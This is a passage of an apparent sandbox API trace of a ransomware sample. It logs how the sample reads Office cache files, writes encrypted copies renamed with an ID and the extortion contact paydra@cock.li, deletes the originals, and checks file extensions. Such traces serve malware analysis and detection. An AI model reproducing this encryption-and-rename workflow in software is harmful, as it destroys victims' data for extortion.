(normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0049.478] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=174440) returned 1 [0049.478] CloseHandle (hObject=0x180) returned 1 [0049.478] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0049.478] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0049.478] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0049.478] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.478] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.478] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0049.478] GetLastError () returned 0x0 [0049.478] ReadFile (in: hFile=0x180, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x2a968, lpOverlapped=0x0) returned 1 [0049.483] WriteFile (in: hFile=0x1a8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0049.487] ReadFile (in: hFile=0x180, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.487] WriteFile (in: hFile=0x1a8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0049.487] SetEndOfFile (hFile=0x1a8) returned 1 [0049.487] CloseHandle (hObject=0x1a8) returned 1 [0049.487] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.487] SetEndOfFile (hFile=0x180) returned 1 [0049.489] CloseHandle (hObject=0x180) returned 1 [0049.489] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0049.489] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0049.490] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0049.490] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0049.490] lstrlenW (lpString=".doc") returned 4 [0049.490] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0049.490] lstrlenW (lpString=".docx") returned 5 [0049.490] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0049.490] lstrlenW (lpString=".pdf") returned 4 [0049.490] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0049.490] lstrlenW (lpString=".xls") returned 4 [0049.490] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0049.490] lstrlenW (lpString=".xlsx") returned 5 [0049.490] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0049.490] lstrlenW (lpString=".ppt") returned 4 [0049.490] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0049.490] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0049.490] lstrlenW (lpString=".zip") returned 4 [0049.490] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0049.490] lstrlenW (lpString=".rar") returned 4 [0049.490] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0049.490] lstrlenW (lpString=".bz2") returned 4 [0049.490] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0049.490] lstrlenW (lpString=".7z") returned 3 [0049.490] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0049.490] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0049.490] lstrlenW (lpString=".dbf") returned 4 [0049.490] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0049.490] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0049.490] lstrlenW (lpString=".1cd") returned 4 [0049.490] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0049.490] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0049.490] lstrlenW (lpString=".jpg") returned 4 [0049.490] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0049.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0049.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0049.491] lstrlenW (lpString=".doc") returned 4 [0049.491] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0049.491] lstrlenW (lpString=".docx") returned 5 [0049.491] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0049.491] lstrlenW (lpString=".pdf") returned 4 [0049.491] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0049.491] lstrlenW (lpString=".xls") returned 4 [0049.491] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0049.491] lstrlenW (lpString=".xlsx") returned 5 [0049.491] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0049.491] lstrlenW (lpString=".ppt") returned 4 [0049.491] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0049.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0049.491] lstrlenW (lpString=".zip") returned 4 [0049.491] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0049.491] lstrlenW (lpString=".rar") returned 4 [0049.491] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0049.491] lstrlenW (lpString=".bz2") returned 4 [0049.491] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0049.491] lstrlenW (lpString=".7z") returned 3 [0049.491] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0049.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0049.491] lstrlenW (lpString=".dbf") returned 4 [0049.491] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0049.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0049.491] lstrlenW (lpString=".1cd") returned 4 [0049.491] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0049.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0049.491] lstrlenW (lpString=".jpg") returned 4 [0049.491] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0049.492] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1 [0049.492] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0049.492] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0049.492] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=715834) returned 1 [0049.492] CloseHandle (hObject=0x180) returned 1 [0049.492] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0049.492] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0049.492] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0049.492] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.492] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.492] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0049.493] GetLastError () returned 0x0 [0049.493] ReadFile (in: hFile=0x180, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0049.512] WriteFile (in: hFile=0x1a8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0049.524] ReadFile (in: hFile=0x180, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.524] WriteFile (in: hFile=0x1a8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0x104, lpOverlapped=0x0) returned 1 [0049.524] SetEndOfFile (hFile=0x1a8) returned 1 [0049.524] CloseHandle (hObject=0x1a8) returned 1 [0049.525] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.525] SetEndOfFile (hFile=0x180) returned 1 [0049.692] CloseHandle (hObject=0x180) returned 1 [0049.693] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0049.693] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0049.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.693] lstrlenW (lpString=".doc") returned 4 [0049.693] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0049.693] lstrlenW (lpString=".docx") returned 5 [0049.693] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0049.693] lstrlenW (lpString=".pdf") returned 4 [0049.693] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0049.693] lstrlenW (lpString=".xls") returned 4 [0049.693] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0049.693] lstrlenW (lpString=".xlsx") returned 5 [0049.693] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0049.693] lstrlenW (lpString=".ppt") returned 4 [0049.693] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0049.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.693] lstrlenW (lpString=".zip") returned 4 [0049.693] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0049.693] lstrlenW (lpString=".rar") returned 4 [0049.693] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0049.693] lstrlenW (lpString=".bz2") returned 4 [0049.694] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0049.694] lstrlenW (lpString=".7z") returned 3 [0049.694] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0049.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.694] lstrlenW (lpString=".dbf") returned 4 [0049.694] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0049.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.694] lstrlenW (lpString=".1cd") returned 4 [0049.694] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0049.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.694] lstrlenW (lpString=".jpg") returned 4 [0049.694] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0049.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.694] lstrlenW (lpString=".doc") returned 4 [0049.694] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0049.694] lstrlenW (lpString=".docx") returned 5 [0049.694] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0049.694] lstrlenW (lpString=".pdf") returned 4 [0049.694] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0049.694] lstrlenW (lpString=".xls") returned 4 [0049.694] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0049.694] lstrlenW (lpString=".xlsx") returned 5 [0049.694] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0049.694] lstrlenW (lpString=".ppt") returned 4 [0049.694] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0049.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.694] lstrlenW (lpString=".zip") returned 4 [0049.694] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0049.694] lstrlenW (lpString=".rar") returned 4 [0049.694] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0049.694] lstrlenW (lpString=".bz2") returned 4 [0049.694] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0049.694] lstrlenW (lpString=".7z") returned 3 [0049.695] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0049.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.695] lstrlenW (lpString=".dbf") returned 4 [0049.695] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0049.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.695] lstrlenW (lpString=".1cd") returned 4 [0049.695] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0049.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.695] lstrlenW (lpString=".jpg") returned 4 [0049.695] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0049.695] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0049.695] lstrlenW (lpString="VisiorWW.msi") returned 12 [0049.695] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0049.695] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=12060672) returned 1 [0049.695] CloseHandle (hObject=0x180) returned 1 [0049.695] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi")) returned 0x2020 [0049.695] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0049.695] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[paydra@cock.li].html")) returned 1 [0049.696] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0049.696] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0x0) returned 1 [0049.696] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.696] ReadFile (in: hFile=0x180, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.699] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.699] ReadFile (in: hFile=0x180, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.708] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0049.708] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.708] ReadFile (in: hFile=0x180, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.723] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.723] WriteFile (in: hFile=0x180, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x329fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0049.855] SetEndOfFile (hFile=0x180) returned 1 [0049.856] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3fc38a8 [0049.856] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.856] WriteFile (in: hFile=0x180, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.857] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.857] WriteFile (in: hFile=0x180, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.863] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.863] WriteFile (in: hFile=0x180, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.865] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0049.865] CloseHandle (hObject=0x180) returned 1 [0049.865] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0049.865] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0049.865] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0049.865] lstrlenW (lpString=".doc") returned 4 [0049.865] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0049.865] lstrlenW (lpString=".docx") returned 5 [0049.865] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0049.865] lstrlenW (lpString=".pdf") returned 4 [0049.865] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0049.865] lstrlenW (lpString=".xls") returned 4 [0049.865] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0049.865] lstrlenW (lpString=".xlsx") returned 5 [0049.865] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0049.865] lstrlenW (lpString=".ppt") returned 4 [0049.865] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0049.865] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0049.865] lstrlenW (lpString=".zip") returned 4 [0049.865] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0049.865] lstrlenW (lpString=".rar") returned 4 [0049.865] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0049.865] lstrlenW (lpString=".bz2") returned 4 [0049.866] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0049.866] lstrlenW (lpString=".7z") returned 3 [0049.866] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0049.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0049.866] lstrlenW (lpString=".dbf") returned 4 [0049.866] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0049.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0049.866] lstrlenW (lpString=".1cd") returned 4 [0049.866] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0049.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0049.866] lstrlenW (lpString=".jpg") returned 4 [0049.866] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0049.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0049.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0049.866] lstrlenW (lpString=".doc") returned 4 